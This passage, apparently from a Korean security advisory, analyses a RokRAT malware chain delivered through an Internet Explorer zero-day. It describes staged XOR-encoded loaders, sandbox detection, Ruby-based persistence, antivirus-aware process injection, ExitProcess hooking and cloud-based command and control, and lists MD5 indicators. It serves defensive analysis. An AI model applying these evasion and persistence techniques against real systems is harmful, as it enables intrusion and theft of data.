> Ruby를 사용하여 악성 행위 지속성 확보 및 상용 클라우드 서버를 통해 명령제어를 수행

실행 단계 설명
1차 악성코드(43) 다운로드 및
explorer.exe에 인젝션
실행 PC의 파일·프로세스를 확인하여 분석 환경인지 탐지
> 악성코드 43은 첫 1바이트로 XOR 후 실행되는 쉘코드
> 분석 환경이 아니라고 판단되면 경유지에 접속해 2차 악성코드 다운 및 실행
2차 악성코드(23) 다운로드 및 실행 컴퓨터 이름 등 시스템 정보를 수집하고 추가 감염 여부 선별
> 악성코드 23은 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 시스템 정보를 경유지로 전송하고, 응답에 따라 3차 악성코드 다운 및 실행
3차 악성코드(move) 다운로드 및 실행 후
추가 파일 다운로드
악성 스크립트를 삽입한 ruby standalone 드롭 및 악성 행위 지속성 확보
> 악성코드 move는 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 2차 경유지는 원드라이브 1개와 국내 정상 사이트 2개가 악성코드 내부에 하드코딩
> 지속성 확보를 위해 자동실행 되도록 설정 (주기적 실행 또는 PC 부팅 시 실행)
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 현재 실행중인 프로세스 명에 "UBY"가 있는지 확인 후 설치된 백신에 따라 동작 결정
> AVAST·SYMANTEC : 현재 프로세스에서 In-Memory 방식으로 실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹 및 함수 인자 및 설치된 백신에 따라 동작 결정
> 인자가 0xAC가 아닐 경우 대기 상태, 0xAC일 경우 후킹을 복원
> AVAST·SYMANTEC : rubyw. exe를 재실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
In-Memory로 RokRAT 실행 상용 클라우드(얀덱스 등)를 경유지로 명령제어를 수행하여 PC 정보 절취
> 윈도우 프로시저에서 수신되는 메시지를 기반으로 해당 핸들러에서 악성 행위를 수행

 

구분 MD5
ad_toast e11bb2478930d0b5f6c473464f2a2B6e
43 b9d4702c1b72659f486259520f48b483
23 b18a8ea838b6760f4857843cafe5717d
MOVE da2a5353400bd5f47178cd7dae7879c5
ban04.bak(top_08.bak,content) bd2d599ab51f9068d8c8eccadaca103d
operating_system.rb 감염 PC마다 다름
1차 로더
2차 로더
RokRAT

 

2.4 결론

- MS는 22.06 IE 지원 종료 발표 및 최신 Window OS는 IE가 웹 브라우저로 사용되는 것을 제한하는 등의 조치
> 과거에 비해 워터링홀 공격의 가능성은 희박해짐
> 그러나, 일부 Window 어플리케이션들은 IE를 내장하거나 관련 모듈을 사용해 공격 벡터로 악용될 수 있음
> OS 및 SW 등의 보안 업데이트를 준수하고, 제조사들은 제품 개발 시 보안에 취약한 개발 라이브러리 및 모듈 등이 사용되지 않도록 주의 필요

3. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=164037&menuNo=020000&subMenuNo=020200&thirdMenuNo=
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38178
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=ms&menuNo=205020&pageIndex=1&categoryCode=&nttId=71524
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41128
[5] https://www.scworld.com/brief/windows-zero-day-leveraged-for-rokrat-malware-delivery
[6] https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html
[7] https://thehackernews.com/2024/08/microsoft-issues-patches-for-90-flaws.html
[8] https://www.scworld.com/news/microsoft-patches-9-zero-days-6-exploited-in-the-wild
[9] https://www.boannews.com/media/view.asp?idx=132049
[10] https://www.dailysecu.com/news/articleView.html?idxno=160314
[11] https://www.boannews.com/media/view.asp?idx=133660

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